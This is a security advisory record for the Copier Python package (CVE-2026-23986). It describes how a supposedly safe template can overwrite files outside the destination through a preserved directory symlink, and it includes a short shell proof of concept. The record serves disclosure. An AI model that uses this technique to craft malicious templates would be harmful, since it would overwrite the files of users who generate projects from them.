id: PYSEC-2026-1272
published: "2026-07-07T16:03:19.651307Z"
modified: "2026-07-07T17:23:57.434589Z"
aliases:
- CVE-2026-23986
- GHSA-4fqp-r85r-hxqh
summary: "Copier safe template has arbitrary filesystem write access via directory symlinks when _preserve_symlinks: true "
details: "### Impact\n\nCopier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use [unsafe](https://copier.readthedocs.io/en/stable/configuring/#unsafe) features like custom Jinja extensions which would require passing the `--UNSAFE,--trust` flag. As it turns out, a safe template can currently write to arbitrary directories outside the destination path by using directory a symlink along with [`_preserve_symlinks: true`](https://copier.readthedocs.io/en/stable/configuring/#preserve_symlinks) and a [generated directory structure](https://copier.readthedocs.io/en/stable/configuring/#generating-a-directory-structure) whose rendered path is inside the symlinked directory. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.\n\n> [!NOTE]\n>\n> At the time of writing, the exploit is non-deterministic, as Copier walks the template's file tree using [`os.scandir`](https://docs.python.org/3/library/os.html#os.scandir) which yields directory entries in arbitrary order.\n\nReproducible example (may or may not work depending on directory entry yield order):\n\n```shell\nmkdir other/\npushd other/\necho \"sensitive\" > sensitive.txt\npopd\n\nmkdir src/\npushd src/\nln -s ../other other\necho \"overwritten\" > \"{{ pathjoin('other', 'sensitive.txt') }}.jinja\"\necho \"_preserve_symlinks: true\" > copier.yml\ntree .\n# .\n# ├── copier.yml\n# ├── other -> ../other\n# └── {{ pathjoin('other', 'sensitive.txt') }}.jinja\n#\n# 1 directory, 2 files\npopd\n\nuvx copier copy --overwrite src/ dst/\n\ncat other/sensitive.txt\n# overwritten\n```\n\n### Patches\n\nn/a\n\n### Workarounds\n\nn/a\n\n### References\n\nn/a"
affected:
- package:
    name: copier
    ecosystem: PyPI
    purl: pkg:pypi/copier
  ranges:
  - type: ECOSYSTEM
    events:
    - introduced: "0"
    - fixed: 9.11.2
  versions:
  - 2.0.0
  - 2.0.1
  - 2.1.0
  - 2.2.1
  - 2.2.2
  - 2.2.3
  - "2.3"
  - 2.3.1
  - 2.3.2
  - 2.3.3
  - 2.4.0
  - 2.4.1
  - 2.4.2
  - 2.5.0
  - 2.5.1
  - 3.0.0a3
  - 3.0.0a5
  - 3.0.0a6
  - 3.0.0a7
  - 3.0.0a8
  - 3.0.0b1
  - 3.0.1
  - 3.0.2
  - 3.0.3
  - 3.0.4
  - 3.0.5
  - 3.0.6
  - 3.1.0
  - 3.2.0
  - 4.0.0
  - 4.0.1
  - 4.0.2
  - 4.1.0
  - 5.0.0
  - 5.1.0
  - 6.0.0
  - 6.0.0a0
  - 6.0.0a2
  - 6.0.0a3
  - 6.0.0a4
  - 6.0.0a5
  - 6.0.0a6
  - 6.0.0a7
  - 6.0.0a9
  - 6.0.0b0
  - 6.1.0
  - 6.2.0
  - 7.0.1
  - 7.1.0
  - 7.1.0a0
  - 7.2.0
  - 8.0.0
  - 8.1.0
  - 8.2.0
  - 8.3.0
  - 9.0.1
  - 9.1.0
  - 9.1.1
  - 9.10.0
  - 9.10.1
  - 9.10.2
  - 9.10.3
  - 9.11.0
  - 9.11.1
  - 9.2.0
  - 9.3.0
  - 9.3.1
  - 9.4.0
  - 9.4.1
  - 9.5.0
  - 9.6.0
  - 9.7.0
  - 9.7.1
  - 9.8.0
  - 9.9.0
  - 9.9.1
references:
- type: WEB
  url: https://github.com/copier-org/copier/security/advisories/GHSA-4fqp-r85r-hxqh
- type: ADVISORY
  url: https://nvd.nist.gov/vuln/detail/CVE-2026-23986
- type: WEB
  url: https://github.com/copier-org/copier/commit/b3a7b3772d17cf0e7a4481978188c9f536c8d8f6
- type: PACKAGE
  url: https://github.com/copier-org/copier
- type: WEB
  url: https://github.com/copier-org/copier/releases/tag/v9.11.2
- type: PACKAGE
  url: https://pypi.org/project/copier
- type: ADVISORY
  url: https://github.com/advisories/GHSA-4fqp-r85r-hxqh
severity:
- type: CVSS_V3
  score: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
- type: CVSS_V4
  score: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N